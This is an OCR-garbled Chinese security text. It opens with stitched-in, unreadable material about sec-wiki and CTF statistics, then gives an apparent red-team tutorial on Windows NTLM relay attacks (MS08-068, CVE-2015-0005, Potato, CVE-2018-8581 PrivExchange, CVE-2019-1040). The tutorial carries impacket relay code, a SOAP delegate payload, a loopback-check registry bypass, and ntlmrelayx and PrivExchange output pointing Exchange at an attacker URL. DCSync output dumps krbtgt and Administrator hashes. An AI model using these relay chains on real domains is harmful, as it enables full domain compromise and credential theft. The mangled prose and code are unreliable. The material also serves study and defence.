ek, REHE, tiR “R-%-m AR, MUENRILEEY, BEERMR->%->H, WTER
FIBEMNZR, MetEEARNEREFRIA—L, MUESITEY £—TESHIRE,

FRZEINTERIREBREZRBTHERIIMAMTRS, EERRERTNABBRZHIERIR
MRS ER, BEMMEIERK I, BERNEEEMZEMIEETH.

ZENEHEEEET AR, EERNRZEETEZENIAR. HT2RFEE? @
R BIRFRFE? Twitter? Github?

ZERABEZENMRE: EEADR Twitter FETEHIFE, FIESRKANIRTREE; EER
M—ERELZEEE, EAEEATSEEEINTFZTALTEE, HIU Github, Twitter, Zhihu,
mBFE. PTRAMRLZEEIN. BEUHSRITMULNAZTE; BEATNERY, TR ZS5EE;
EEANSERMIEENEZERR A, FIUREZES],

ZERABEENREZE: ERHEEM, Twiter ISALNEMES BT E. MUARBHRG, EEE
EETARNDEMR, Bt RARNEE T TAIRNERE,

ZEEANEEZERER, BERRFANRESR, SEXIIME R AR? XA TELENE
M,

18.3 FELMHRR: FHERA

MARZD, REMBEREE. Github, SEIEEMRSE. MEREAHR. R, A5, RSS. A
F.o MIE Email FATHER, fNREEREE, RIERNRNEN, BEXBRFOR, HEK
A, FNASEAZBENRZRERS, (LB SRAET, TNREREIR R, BEMNE ID REREIE
E; REREAFZEINEN, FIUMNEEMRGEAF, Follow ARIGREERXEE, #EHEIERR,
RERERNG; BREEESWNERN, BREASAZENARNEG, ERFIEECHRMLUE, 5
SIRFRRBA@E,
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BUERE
BABET—TMIEBR? WER? BARIEBIEAER MR LR ME? vIgEfFEAY (o) 72

REMNEIBRNIZIAFAR —EXMAEITEE NREA/ZREHRRENPFER, K2
FEEAN sec-wiki ERIREMULRE, FNT—TRIRSBIEOREERF (RNEXREGREET
EIETIN), MEELUR, TEBMET. RLERT L Team (EARIRER, REE=, —B2L%ES
FREERAME, “=2 L Team FrAEE, BARA LR THELENLRIDEN PINE, TR
ARZAR=ZAMEIDEN], TERFREZBRABECELR, METFSHAHBELZEBIERNTA
AfE, =REAGE S, AIANREERRS,

BrafARENR? SRBEMMEIE? AAME, REE/LR: 1. IRZBLBLTER, AR
M REMBHIIEE T RBELE, ZIREBERMEEXIMASNITT (MABTHEREZII
) 5 20 BNTHRENNENZEZBESH, IXMNEREAN, FERECLUENLE, FREIRIR
ERREEIS U 2 AE B s EFRR RETRIERIX LRIIAR R A google? MBREEHMNATHELZRIEM
R Z 2R, AR < ATEEE” E#T REFS FI BRI FNERKAIE IR F REFREE
B, XML T SR ERIENE AR,

EFAEREZIN, EERF/THEESEN, R51 1D, WK ID, FRAOEEHEE, DA ()/E
BA Q/AE] 3) %, KRIFHEHEMZERS| ID, Github hht, fiEkbhl, FERRIE, AER
Z2HRA, FIESR/I/AE], FEEMRE (PHP? Python? Java), AMIREE (1R®2? mhig? X2),
RSS ITHEIENE, #E4SHbLE, ROFHbhE, #RFEENE, BXRA (QQ? #lf5?), ERFIRIE

HEBRTR—TANBEABNEST T 500+ TREEE, HikH T 450 MR B BN &R
BERE, EERIDEEEFEEIMFENMRALE LT, TR-[RAE"HTRER, HED
ME—EERRET, ARANRARIREN, BAERIMEREDRKT, YEFREBZFNK
FHAE T HELNIER,

AREFAENREEES . —ERRTRERE (REER, ISR ERLZERAEENR
B%) MATZEER (MIGEEAEIMIAHERS, WE, 88 ip XEEF), RERENHE—F
RERBEE, FMOREBME, ik p IMERELOBE, HEIEEMN, TIRENEEXNEZNRE
—1F, (RAENALFHESEZRIINA, SHRSARZETY, SHARNSIL . 2768
NLIBERAIE, EURUASRI RS M TIERIE,

ot

BRI —TLXEARNTARM, EEUINL ID. Blog SSL. CTF MlEEMR A,
SITEBANEIBEBTMUAIM, K4 90% WREAGIIRERNT 10 PFRMNLE ID
BNAABT =9 2—LEARNNE ID EAFE + HFAHS
EEE—THEHIUNRBRERZE CTF AN ID 2T E + HFAS, BALATFE + HFHEETZ
CTF HIAR&EIE?
ANERRRFF, T2—THEMRE.
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TEREUBRHE P RIRZIMENEA T HTTPS (Bk), £33 4titH 63.5% BIMENIR T HTTPS,
fE% % HTTPS MYUMENTR, KIE 42% 23T CTF IMEN], 2T —TAZERERIRAL,

HINE 44.4% REINMACER . PENEBNREARITY CTF, BHX CTF ELMNT—ARE
ARBIMEIR, B CTF RFEEFRTEBEESRANE (writeup H%E QaQ) , HAM AIREREIER
SIEAMNEE, XTZRRET, FIREEERRIEIERAEI T 1 EEH, TRECRER,

EERENAER, ERIEEENENYEE(NEELREMRAEIT TiRE, 2T —TF5—
RREARNARA @D HIVR, XBFIHEPELSEE

AIMERMMERE —RZEEENMRHREESEHE CTE, Web T2, KEMR. IwEDH. £
BETSFNAZEAME, @E#EE, PWN, LEFK. BIREEIR. NBFIFHRANTEREAR
EEERD,

BOM—TREARNAREN, thil: Blog RIFHE. TE2H. FIESRK.

M Blog RI5HZERABREARGH, ERAARFAGERIONEEWME, KW PIMEFEET
R, JNUER: PIMESE (KE), ANSIEBEXTRE, F—NKEFMNNZERALQT
DEETRER P INE,

RAENRERE/LR: —RURAZIE L Team (FAREERR, BR L Team M p IMERZEX, M
EREMZ2IERFNERNE, SREFASER—HFNE? BER—T, WRMS—TAOFENRE
EREE, BARAELTZSH PIMEXNREAKS?! RIFFERNER? —2HRZIMENE
BEHERENEAMBMATE, bl o &, {REEW v &S open, RBLMMANL? EAZTER, BE
BIERIANR r (rtql), BEEAIRT evil7 IfE, EEETIHE, EAMIKERAILR,
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19.1

19.2

19.2.1

- Windows ARHNES] NTLM jE2Z2 NTLM iRt

& daiker@ RFESLINZE (360RedTeam) HIFA
R https://www.anquanke.com/post/id/194514
&%
Windows PIRITHMYES] NTLM f5 2 NTLM EREN 43
Windows PIRITHMYES] NTLM fs 2 & #2 NTLM 3&ER
Windows PIRITMYES] NTLM & Z Net-NTLM I/
Windows AW 1MYE>] LDAP & Z Active Directory &7
Windows RIRMYE>] LDAP 5 Z A1 OU 143

0x00 Ris

Xz NTLM RHRE—RXET, EZRELE T —RXEER T IR NTLM_Relay X5 HEEMN
NE. EXEXEEEBENATER, MURET NTLM_Relay SEREEFIARKII. MABEITESNA
28 NTLM_Relay 18 3% ) — L3755, MS08-068, MS 16-074,CVE-2015-0005,CVE2019-1040,CVE-2019-1384,
18 NTLM_Relay SRAFI A E#R¥K, T 2/58E7R NTLM_Relay SREFIRNE, BITETEM—
T=rAEER,

1. ‘BAKKEE ntlm IFK

2. E8| ntlm IERZFEMT 4

3. RBImESERER

0x01 SMB & AR LDAP &

1. AT E RN — RS

MINESREZIE, EA— P EPHIRSHBMEN ky WEEFRENRIEMTNSG, RESHTR
A key, MIREMNBHTINBRE, FABIRNART Relay, RS RESRBRETHELTE.
AZA key RITANR, ZBITEN BRI —T/EMRIXT key & session_key, TEEAMF hash &
R, BEERBAF hash(BRMATRE Relay 7, B pth Z49), FILURE session_key, hE 2R
INEMIRE, MRS SRS T B4 Relay SRR,

XMRRIRE, BHEE. BRE—K, BR oxanyu I8, 7 winm QREFRNT 3
B, session key, BICTIRR, MNRHRAMRBIMIE T session key, HAFPTLAR CVE-2015-0005
— 55T TR MR relay TH. BREERFT—BRRZE, SNBEFQTERATE, &1
PEFHTHERE— key, TERANMATEA key, RS, ARABERT, G3F 31 key 19
#%, FEHRERE)

1. exported_session_key

250


https://www.anquanke.com/post/id/193149
https://www.anquanke.com/post/id/193493
https://www.anquanke.com/post/id/194069
https://www.anquanke.com/post/id/195100
https://www.anquanke.com/post/id/195737

BtRe Windows FIRITMYEES] NTLM &2 NTLM SEE#R

def get_random_export_session_key():

return os.urandom(16)

X key ZHENER, MRFEERNE, EFHNRSIHEAXTMIA key HITERMN,
1. key_exchange_key

X key {EFHFF 2318, Server Challenge,Client Challenge 21— €1z E S 3IMY,

response, session_base_key = \
._get _NTLM2_ response| ._password
_server_challenge,
_client_challenge)
Im_hash = comphash._lmowfwv1( «_password)

key exchange_key = \
compkeys._get_exchange_key_ntlm_v1( ._negotiate_flags
session_base_key,
._server_challenge,
lm_challenge_response,

2. encrypted_random_session_key
BHERIFEERNIE, EFineER exported_session key R key HITINZEREZRRY, T ex-
ported_session_key = E P ins R EIBENLEL, BRARSZIHAEIE X key° X NEMEENE R,
encrypted_random_session_key AR A TERT R, (£ key_exchange_key 9 Key,RC4 INZH;

cported_session_ke)

— B @ —

HN%Z exported_session_key,
EREE/RE Session Key. X2 AFHY, T‘mu%iﬁ%i@éﬁﬁﬁzﬁﬁﬁ, AR B im E RX N H91E,

B key_exchange_key - —iEizEGE Uexported session_key, RS {E exported_session_key FHATHNAE

v GS5- API Generlc Securi‘cy Ser\uce Application Program Interface
v Simple Protected Negotiation
v negTokenTarg
responseToken: 4e544c4d5353500003060000180013006e0000000800dB00..
v NTLM Secure Service Provider
NTLMSSP identifier: NTLMSSP
NTLM Message Type: NTLMSSP_AUTH (8x00000003)
Lan Manager Response: d231416831a68116ad49a12c29b3acd67846514e32474d68
NTLM Response: lal3a@69532dd52deeffala5al@628030101000000000080..
Domain name: test.local
User name: administrator
Host name: NULL
v Session Key: 39473c987e7ddfafcBa75f5d4b22b8b3

yYYywyey

Length: 16
Maxlen: 16
Offset: 350
2] » Negotiate Flags: ©xe@B888235, Negotiate 56, Negotiate Key Exchange, Negotiate 128, Negotiate Target Info, Negotiat

4 o

TREHE, BT ISBEAF hash, AR INELEK key_exchange_key, BATEREEEAEBZEE] en-
crypted_random_session_key, 1B 2% key_exchange_key, iR 7MEIZE H exported_session_key,
AN IREFHITINEE . MMMFET Relay,
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BitRe Windows ARMMYEES] NTLM 52 NTLM EE#R

19.2.2 2. SMB &E#&

BEMTRABRITA pc BUNKBFE smb R, RIB[ITENEIATE smb BB, EHLIRN
HARMX M RERAER, AHEANNRIMKEZXESESSE EER, SRANSRTRBER,

=22 E | 76

Microsoft MRS TESETHFEE (BN

%

@ ERBA(E)

O EZEA(S)
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19.2.3

19.3

19.3.1

BERE

Windows ARMMYEES] NTLM 52 NTLM EE#R

3. LDAP &%

ERINBRET, ldp REBBMESEZEERE, MAKIANRBRENESER, MAZRHE
2, MR RESERREEL, MREN., REHREFHENERESER. EFRmEDE

m, GIRZ smb HIXAYIE, BOIABERZRM, WRE webadv 3 FE hitp thiX, BAERER

ME=%: IDAP EFRsEEREE 2 L%

E

FE=22E | 1568

MEER2: LIDAP EFEZEETK

MmEEE v

£ l_'*.

:3)

EXEErREEBEESE E. BRENNARFENERE.
BXNERES , BR2RNETS: LDAP EFEESEER, (Q823659)

HNE)TF 2019-09-11 B R HREFBEMRMBERITRITF 2020 £ 1| BAHLTEEH. N TIEAEEEIEMN
T2, ZEEEHIEESIFTSFREEIZEHI23 £ LDAP channel binding 5 LDAP signing II&E,

0x02 iR L
1. MS08-068

XA, SEIAFPsmbIERZE, RERNMEIEER Relay BIFFZARE, Bl Reflect, MTE
HNFAS, WERERHAE. MERTE kbo57097 # T EEETEIX SMB S IIEE ERIIIES T
PrlLRIEERE, MMARR T ZiFE, B EEEEEEDT:

253

e



19.3.2

154 Windows IRHYES] NTLM &2 NTLM S@aiR

This is Mark I'd like to Login

If you are realiy Mark then encrypt
this challenge with Mark's PW Hash

Here is the encrypted challenge

Access Granted

EM A @EH BEAEN\B) #1T SMB IANERIAT(E, 3§ _pszTargetName_IREF cifs/B, ARIGTE type
2 ZZEA B &3 Challenge Zf5, TE Isass BEZETF (Challenge,cifs/B),

REENBEZRNFN AN type 3 25, 2F Isass BEEARELETF (Challenge,cifs/b), WRTF
TEF, BBAINERM,

XMIFERET, WRENBMEN A BTENENMNE,  lsass EEAM AL (Chal-
lenge,cifs/B), MREE—AENAIE, FFlsass EEMBEEBEF, XPIHMEMASIAMERK,

2. CVE-2015-0005

AXEERY, FERNERE . XN TREE, BT RBRAF hash, LRIZIMNELE K key_exchange_key,
BATER=EHEEEY ZF encrypted_random_session_key, 1BZ&H key_exchange_key, HHIZIMNEE
H exported_session_key, WIS EN MEHTINGEZ, MmET Relay,

WiEHEE—BZ=3Z key_exchange_key BYiE, R AILA#1T Relay, M CVE-2015-0005 IE3F 2tttz 7 X1
key, FILIXEEBINE KR,

ZBINNXEWRE, EEA#ET NTLM_RELAY F®, tIREZMNAFZEAF, X TEHMEIAIER
LA EE A, hash 19, X P EHRSE T NETLOGON 1B type 1,type 2,type 3 £EB & L1517,
LR AR, HAREIEEZREEAFMN hash, BEINEZE, BT EERAPH hash, BEBEME
B H key_exchange_key, X TAMREINIEARSZ 23S EIE NETLOGON E#HIHIZ R E key_exchange_key,
MME L exported_session_key,
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BtRe Windows FIRITMYEES] NTLM &2 NTLM SEE#R

BEXNREMETE, TRIABINERS SR BEHITIZZRE key_exchange_key, RSEZN A X
R E key_exchange_key, HIZ#RLE, HIBEMEN, BMNWE—TNRHAFIE, AIUEREEER
H key_exchange_key, fARIRIEEMEHAM encrypted_random_session_key & | exported_session_key, {&F

F exported_session_key FH1THNARES

resp - dce.request({request)

DCERPCException e:
logging.getlLogger().level logging.DEBUG:
traceback
traceback.print_exc()
logging.error(strie))
e.get_error_code()

logging.info("%s\\%s successfully validated through NETLOGON" (
domainName, authenticateMessage['user_name'].decode('utf-16le')))

encryptedSessionKey - authenticateMessage['session_key']
encryptedSessionKey b'':
signingKey = generateEncryptedSessionKey(
resp['ValidationInformation'] [*ValidationSam4'] ['UserSessionKey'l, encryptedSessionKey)
signingKey = resp['ValidationInformation']['ValidationSam4'] [*UserSessionKey']

logging.info("SMB Signing key: %s " % hexlify(signingKey).decode('utf-8'))

STATUS_SUCCESS, signingKey

2E&

StFiZiRiE, TE impacket B smbrelayx.py B B

TERERTETIIMNIZE, SRIBRFSHERFITEZNMRMSENER (EA, FEZRBE—T
SBAPURMNER, TRRBLENR
errorCode STATUS_SUCCESS self._SignatureRequired True self.domainIp

errorCode = self.netlogonSessionKey|(serverChallenge, authenticateMessageBlob)

logging.debug('Exception:', exc_info=True)

[-machine-account MACHINE_ACCOUNT]
[-machine-hashes LMHASH:NTHASH] [-domain DOMAIN]

19.3.3 3. MS16-075
XA HRIY Hot Potato, MIXMiRIES| B H1RZ Potato, EEU Rotten Potato, Ghost potato,
XE— BB NTLM_RELAY F|F5%, 1288 Relay N—RERTE, BIIMN=ZAHEF, BRRSEE
K, ARBIARHBIRINAIBR
1. BAKKEE ntlm 7&K
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BtRe Windows FIRITMYEES] NTLM &2 NTLM SEE#R

A ntlm B XRIBKRO B X EH &R FEEWindows RN E S NTLM & 2 &€ NTLM EREH
BELi%d, MIES NBNS REHRIEHHIE WPAD KIBRZ 2R EZZIFAFA Net-NTML hash, Fff
B HTTP iIERKIGEEETE[EZE “http://localhost/ GETHASHESxxxxx™"", EHH) xxxxx RRHIE
RER—nRF.,. BeXWEGENTMRENAR, aEEERKFPMARK,, E32XT
NBNS 1 wpad B0 T, EZRINNEEZRIT T, XEFAHER,

2. ZE ntdm ERZEEMHA
MS08-068 ZfABREI T E A EH Z 8 smb 3 smb B9 Relay, {BRZHZEREIM http 2 smb, KA
o EBCS NBNS 2E IR HIE WPAD GIEARSS 23 2 EIRY ntlm 153K hp A2, FHATAILA
B % relay 2| ZAAA smb,

3. RBIHESERER
A1 Relay ZIRIBRSIRININE smb, FRIFBFWAITIE, TAELEANRTRT, SHEEHANE
FRNEE, MEAEKRTZEM,

19.3.4 4. CVE-2018-8581
XMiEREZ— SSREiFE, FIATARIESAF ARG,
ZimAH SSRF A4S NTLM_RELAY A ATAEHERRAFROMH, SREUSENIR, 258 Relay AY
—RfiE, BNMN=SEEF, BTBSBER, MMAZEREREENRR.

E

Exchange server

1. PushSubscription EWS Call

/ >

2. HTTP connection - NTLM authentication

Attacker 3. NTLM authentication forwarded (relaying)

running ntimrelayx

4. Modify domain privileges
(using Exchange server account)
5. Perform DCSync attack and

synchronize hashes Domain Controller

1. B4R ntlm 753K
Exchange S8 VFEAI R P REIXIT RS E AR URL, BRSZ|REEIMMEIXT URL KIXEH, (4]
BT Exchange AR 55 23{F FH CredentialCache.DefaultCredentials i 1T1% %, £3HHY URL FA174%,
F R B AT AT IAZ Hl] Exchange AR 5588 R B A1 & HTTP 7 iXAY NTLM 1E3K, FATMEEREZ
Exchange #l28F 789 Net-Ntlm Hash, WEFLTE 1, S8 2 Fim,

2. E5 ntlm TR Z FEM+ 2
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https://www.anquanke.com/post/id/193493#h3-15
https://docs.microsoft.com/en-us/dotnet/api/system.net.credentialcache.defaultcredentials

15 Windows RIS NTLM &2 NTLM SEaHhA

SEATZE ntlm FROMEN L EFZFHRIAFFHER
(1) BE& 1 heEE AR
T Exchange BRSZ2RIERIANIZE T AT IEMRIN

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LsaDisableLoopbackCheck = 1

TR EIREANTAT UG IE K Relay B2 AT, FHNZR8ESH23F Y Net-Ntlm Hash, FHAEE
BB EF., B2 Exchange ¥23F F 7] LASR1S TokenSerializationRight B9 454" &1&, B
Relay ZIHl FABH) Ews 320, RERILMER SOAP 15XLEEREMAF,

def make_relay_body(exchange_version, target_email, controlled_email, sid):
if FLAG == 1: body = '''<?xml version='"1.@" encoding="utf-8"7=>
<soap:Envelope xmlns:ixsi="http://www.w3.0rg/2001/XMLSchema—instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
3 <t:RequestServerVersion Version="%s" />
<m:SerializedSecurityContext>

<m:UserSid>%s</m:UserSid=

<m: GroupSids=
<m:Groupldentifier=

<t:SecurityIdentifier>%s</t:SecurityIdentifier=

</m:Groupldentitier>

</m:Group5ids=
<RestrictedGroupS5ids>
<RestrictedGroupldentifier></RestrictedGroupIdentifier>
</RestrictedGroupSids>
</m:5erializedSecurityContext>
</spap:Header=>
<s0ap:Body>

=m:AddDelegate=

XM EN LIRS A9—pexpAIF] A B

(2) B 2 SREVEER

£ LEXEMN Relay2Ldap BE, FENERER T —TXTERE., XEBRINFHIT T,
BATARA M

FBF daiker 341575 acl

C:\Users\Administrator\Desktop>AdFind.exe -s sutree -b "DC:=0day,DC=org” nTSecurityDescriptor -resoluesids -sddl++ -sddlfilter "ODAY\daiker” -recmute
[AdFind UB1.51.00cpp Joe Richards (support@joeware.net) October 2017
Using server: OWA2010SP3.0day.org:389

Directory: Windows Server 2008 R2

0 Objects returned

X MEHR#HAT Desyne
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https://github.com/WyAtu/CVE-2018-8581

Windows RIS NTLM &2 NTLM SEaHhA

+ examples gi

Impacket v@.9.21-dev - Copyright 2019 SecureAuth Corporation

[*1 Dumping Domain Credentials (domain\uid:rid:1lmhash:nthash)

[*] Using the DRSUAPI method to get NTDS.DIT secrets

[-] DRSR SessionError: code: @x2@f7 - ERROR_DS_DRA_BAD_DN - The distinguished name specified for this replication operation is invalid.
[*] Something wen't wrong with the DRSUAPI approach. Try ogain with -use-vss parameter

[*]1 Cleaning up...

PR, X EHERFA TR IS ACL

’DS-Replication-Get-Changes’ = 1131f6aa-9c07-11d1-£79f-00c04fc2dcd2

’DS-Replication-Get-Changes—-All’ = 1131£6ad-9c07-11d1-£79f-00c04fc2dcd2

Oday I BRI H [ X|

HE |EE |

LZF5 (N): |daiker (daiker@0day. org) H(C). ..

MAT(0) )| REEITHTR x

TUPR (P)
Run Protect Admin Groups Task
gl AEMEE
BEREREMN
R EZFEHEI

;

AT
geIE
C:\Users\Administrator\Desktop>AdFind.exe -s sutree -b "DC:=0day,DC=org” nTSecurityDescriptor -resoluesids -sddl++ -sddlfilter "@DAY\daiker” -recmute
AdFind UB1.51.00cpp Joe Richards (support@joeware.net) October 2017

Using seruer: OWA2010SP3.0day.org:389
Directory: Windows Seruver 2008 R2

dn: DCz0day, DC=org

>nTSecurityDescriptor: [DACL] 0BJ ALLOW;;[CTL];Replicating Directory Changes;;@DAY\daiker
>nTSecurityDescriptor: [DACL] 0BJ ALLOW;; [CTL];Replicating Directory Changes All;;@DAY\daiker

1 Objects returned

XERBATEAT desync
=+ examples ¢ (master) ¥ pytho

Impacket v@.9.21-dev - Copyright 2819 Securefuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:Llmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets

krbtgt : 502 : aad3b435b51404eeaad3ib435b51404ee : 36f9dIebdIBecf 8307bar4f46efB42a2: 1

[*] Kerberos keys grabbed

krbtgt : aes256-cts-hmac-shal-96:dbc55F9f925de5a482d3bfSede?d@d46d4b121c@lbdd9d@Ebedaed367212d3F9
krbtgt :aes128-cts-hmac-shal-96:ee76ee32 ff14974d8ab248c52f1bfed7?

krbtgt : des-cbc-md5:bf571026d068d6TE

[*] Cleaning up...
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Windows RIS NTLM &2 NTLM SEaHhA

RN, SRR BENRAZEBEEHARINMAE ACL, XK ACL ZIEAR A Desyne B
R,

B2 FRIBPZ 8RR ACL FIXPRIE, FHAVEIT adfind ET (F—1TF% LDAP Fi§E
E[E % adfind 1 admod EFF),

C:\Users\Administrator\Desktop>AdFind.exe -s base -b "DC=0day,DC=org” nTSecurityDescriptor -resocluesids -sddl++ -sddlfilter ;;"[WRT PERMS]";;: -recmute

AdFind U01.51.00¢cpp Joe Richards (support@joeware.net) October 2017

Using server: OWA2010SP3.0day.org:389
Directory: Windows Seruer 2088 R2

dn : DC=0day,DC=0rg

>nTSecurityDescriptor: [DACL] 0BJ ALLOW; [CONT INHERIT];[DEL TREE][WRT PERMS];;inetOrgPerson;0@DAY\Exchange Windows Permissions

>nTSecurityDescriptor: [DACL] OBJ ALLOW; [CONT INHERIT];[DEL TREE][WRT PERMS];;user;B8DAY\Exchange Windows Permissions

>nTSecurityDescriptor: [DACL] ;; [WRT PERMS]; ; ;0DAY\daiker

>nTSecurityDescriptor: [DACL] ;[CR CHILD][LIST CHILDREN][SELF WRT][READ PROP][WRT PROP][LIST OBJ][CTL][READ][WRT PERMS][WRT OUNER];;;Non-specific Domain Admins
>nTSecurityDeseriptor: [DACL] ;[CONT INHERIT];[CR CHILD][LIST CHILDREN][SELF WRT][READ PROP][WRT PROP][LIST OBJ][CTL][DEL][READ][WRT PERMS][WRT OWNER];;:BUILTIN\Admi
>nTSecurityDescriptor: [SACL] AUDIT;[SUCCESS];[WRT PROP][WRT PERMS][URT OWNER];; ;Eueryone

1 Objects returned
C:\Users\Administrator\Desktop>AdFind.exe -s base -b "DC:0day,DC=org” nTSecurityDescriptor -resoluesids -sddl++ -sddlfilter ;;"[FC]";;; -recmute

AdFind U81.51.00cpp Joe Richards (support@joeware.net) October 2017

Using server: OWA2010SP3.0day.org:3893
Directory: Windows Server 2008 R2

dn: DC=0day,DC=org

>nTSecurityDescriptor: [DACL] OBJ ALLOW; [CONT INHERIT];[FC];msExchDynamicDistributionList;;BDAY\Organization Management
>nTSecurityDescriptor: [DACL] OBJ ALLOW; [CONT INHERIT];[FC];msExchDynamicDistributionList;;@DAY\Exchange Trusted Subsystenmfl
>nTSecurityDescriptor: [DACL] ALLOW; [CONT INHERIT];[FC];;;Enterprise Admins

>nTSecurityDeseriptor: [DACL] ALLOW;:[FC1;::NT AUTHORITY\SYSTEM

A1 &¥ Exchange Windows Permissions,Exchange Trusted Subsystem #3E £ Write-ACL B
PR,

HSL Exchange Trusted Subsystem ;2 Exchange Windows Permissions ARG

C:\Users\Administrator\Desktop>AdFind.exe -s SUBTREE -b "DC=@day,DC=org” -f “(CN=Exchange Trusted Subsystem)” memberOf
AdFind U@1.51.00¢cpp Joe Richards (support@joeware.net) October 2017

Using server: OWA2010SP3.0day.org:389
Directory: Windows Server 2008 R2

dn:CN=Exchange Trusted Subsystem,OUzMicrosoft Exchange Security Groups,DC=8day,DC:org
>member0f: |[CN=Exchange Windows Permissions,0U=Microsoft Exchange Security Groups,DC:=0day,DC=org
>member0f: CN:=Administrators,CN=Builtin,DC:=0day,DC=org

Exchange Trusted Subsystem HYBX 53 E13E Exchange 28 F

C:\Users\Administrator\Desktop>AdFind.exe -s SUBTREE -b "DC=Bday,DC=org"” -f "(CN=Exchange Trusted Subsystem)” member
AdFind UO1.51.00cpp Joe Richards (support@joeware.net) October 2017

Using server: OWA2010SP3.0day.org:389
Directory: Windows Server 2008 R2

dn:CN=Exchange Trusted Subsystem,QU=Microsoft Exchange Security Groups,.DC=0day,DC=org
>member: CN=0WA20105P3,0U=Domain Contreollers,DC=Bday,DC=0org

1 Objects returned

HIEPIR T —KM#E, IEREE TREUSENRAEE
T Exchange #1837 Exchange Trusted Subsystem é’ﬂiﬁ, Exchange Trusted Subsystem XJ
15 Write-ACL X8, Exchange /123 BSAMAE & Write-ACL R, FHIEZZI Exchange #1288
H9 htep IEKAIETRE, BILUKEIEK Relay 2l Ldap, #A/5HF Exchange 83 F B & Write-ACL R,
FEENLRINME acl, acl WZIEARTMNZREERF,

’DS-Replication-Get-Changes’ = 1131f6aa-9c07-11d1-£79f-00c04£fc2dcd2

’DS-Replication-Get-Changes-All’ = 1131f6ad-9c07-11d1-£79f-00c04fc2dcd2
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Mi{EZAF B& Desyne IR, #A/G dump 3/ hash 17 pth, dump kebtgt A hash FHITEE

3] Relay BIAYARSS I 2 Ldap, BIEMEN 13T Ldap FRSZZZMNEINRIBZNEER . MAZ8H!
TH, LR REEEBREERmARAEN. HE%&%EE%F&%TJM%E&‘%O EXNREAER
AEEAIIFKRRZ http Y, http MMINBAERHITER, XUMERERIITAHBAAM, EX
R AR ER

REME—T 8581 5B GREUEENR) f3TE:

XEHE

WiEH&:172.16.228.1

Exchange:172.16.228.133

1593%5:172.16.228.135
examples git:

mpacket v@.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Protocol Client SMB loaded. .
[*] Protocol Client SMTP loaded. .
[*] Protocol Client MSSQL loaded. .
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded. .
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded. .
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded. .
[*] Running in relay mode to single host
[*] Setting up SMB Server

*] Setting up HTTP Server
*] Servers started, waiting for connections

1. {3 impacket {5 Ui 31T EGF1ER
2. RECHEXTTIHIIEEATFERY URL, Exchange RS EEEIHEIX 1 URL KX @A

+ PrivExchange g (maste

INFO: Using attacker URL: http elgle
INFO: Exchange returned HTTP status 200 - authentication was OK

INFO: API call was successful
INFO: Exchange 2010 detected. This version is not vulnerable to PrivExchange.

3. Relay EIF#ERY Ldap FRBZERHLEE B daiker RN acl

[+] Performing ACL attack

[+] Found sid for user daiker: S$-1-5-21-1812960810-2335050734-3517558805-1178
[*] Querying domain security descriptor

[*] Success! User daiker now has Replication-Get-Changes-All privileges on the domain
[*] Try using DCSync with secretsdump.py and this user :)
[*] Saved restore state to aclpwn-20191209-114844.restore

260



Windows RIS NTLM &2 NTLM SEaHhA

DC=0day, DC=org [RY 21X
BiimER T2 |
HA PR G):
‘M daiker (daiker@0day. org) -
‘¥ Enterprise Read-only Domain Controllers (ODAY\Ent. ..
¥ Domain Admins (ODAY‘\Domain Admins)

‘¥ Domain Controllers (ODAY'‘Domain Controllers)
W Enterprise Admins (ODAY\Enterprise Admins) =

-

Ao | wE e
1648

=)
-+

daiker FIRPR (P)

B A SIS ] O =
EilBFEN ]
B BB ]
BilEs O] ]
BBpy FIC ] O «

4. daiker #41T Dcync
+ examples git:(master) x p

Impackét v@.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Dumping Domain Credentials (domaini\uid:rid:1lmhash:nthash)

[*] Using the DRSUAPI method to get NTDS.DIT secrets

@day .org\Administrator:500:aad3b435b51404eeaad3b435b51404ee: c1a9d523f33eb7db76dc2d6349159a
d9: s

[*] Kerberos keys grabbed
@day.org\Administrator:aes256-cts-hmac-shal-96:ecbaec@130341de@ced26a052fd9db400544cfb5977
844acf78eala95ef9dobf

@day .org\Administrator:aes128-cts-hmac-shal-96:c8ecd56f465el16adfd473d3709cech74

@day .org\Administrator:des-cbc-md5:901181631c47338a2

[*] Cleaning up...

5. CVE-2019-1040
ZRREETRGEE A UFBIZRERSY NTLM MIC B9GP, REZEA—X NTLM_RELAY ,
BIEARM windows AN E I ME—RXEEBERI R, NETMARTEHLLERE. FREXE
EMNATMBIEXLRBFI A RASBERE, B CVE2018-8581 —#, HIEEXFT—T=1"FH,
1B ER B,

1. BAKHEE nm 7EK
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XEF AZFTENLIRNE, £Windows ANIXE S NTLM s Z & #E NTLM 153K, BA 1B B RRE!
XN ERE, XTMEARRE, MIREHIANRBER WS, thALBHENT , HEREY spoolsv.exe JEM T
— P IRSBFE T rpe. AVFANERFERZEEA, HA RemoteFindFirstPrinterChangeNotificationEx
XN REOETEFHF— unc B892, FTEMHLARSBMEEIFEKZ unc B2, HTITENHZEM system
WBRE1THY, FRAEA1IAIEFTENN, rpe, BIEITENHLARSZ @A EIEKEEIAI net-ntim hash 2
HZZFF hash, XTHABER AR, —1ZXE Exchange #1288, 1B{E Exchange 23R @)
BANIKREBER, BH—TMEREEENLE, BESENSAFL aELRIEK,

2. Z5 ndm BRZEEMIT4
ZRIMENBAL RKENIEKR, HERPHTEERZRER, ELAZEE Relay 2 smb, ]
£ S Relay 2 Ldap, ==& Exchange #l23FF R RANENRE, FATRJLAER CVE-2018-8581, H
F Exchange # 28 #f Exchange Trusted Subsystem #H, Exchange Trusted Subsystem &
write-acl fXBR, BIPAREER AN Desyne IR, XEARBHER.
HKMNZRBI—MEFR, SREESEHEAFNMME, XTMEIIEREENZE, BENEER
MHA S, 8%, tWHIEEEAER. BR, MEEEHIA acl bH A2, & Windows AR Y
F3) NTLM B Z Net-NTLM MBEEIHAINEB T =MERNRKEF B RE, sIRMEXMIER
T, EXEHANER, 7Eserver2012r2, HATAINBTIREETHRNAREZIR, TEIENZER
